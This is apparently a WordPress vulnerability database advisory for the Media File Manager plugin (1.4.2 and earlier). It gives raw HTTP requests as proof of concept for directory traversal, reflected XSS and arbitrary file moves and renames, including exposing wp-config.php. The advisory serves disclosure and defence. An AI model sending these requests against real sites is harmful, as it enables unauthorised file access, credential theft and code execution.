Media File Manager <= 1.4.2 - Authenticated Multiple Vulnerabilities



Description
Following the PoC you can combine the vulnerabilities to obtain PHP code execution and read sensitive file.

By default the File Manager can only be used by Administrator users, however, any user role can be configured to use it.
Proof of Concept
Diretory Trasversal:

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: REDACTED
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 53
Connection: close
Cookie:	REDACTED

action=mrelocator_getdir&dir=../../../../../../../etc

Reflected XSS:

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wordpress/wp-admin/upload.php?page=mrelocator-submenu-handle
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 68
Connection: close
Cookie: REDACTED

action=mrelocator_getdir&dir=[XSS]

Move any file to any dir:

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wordpress/wp-admin/upload.php?page=mrelocator-submenu-handle
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 75
Connection: close
Cookie: REDACTED

action=mrelocator_move&dir_from=../../&dir_to=../../../&items=wp-config.php

Rename any file:

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wordpress/wp-admin/upload.php?page=mrelocator-submenu-handle
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 97
Connection: close
Cookie: REDACTED

action=mrelocator_rename&dir=../../&from=wp-config.php&to=wp-config.txt 

Affects Plugin

References

PACKETSTORM 150281

Classification

Type MULTI

Miscellaneous

Original Researcher boombyte
Submitter Pasquale Turi
Views 1316
Verified No
WPVDB ID 9145

Timeline

Publicly Published 2018-11-05 (16 days ago)
Added 2018-11-09 (12 days ago)
Last Updated 2018-11-13 (7 days ago)

Copyright & License

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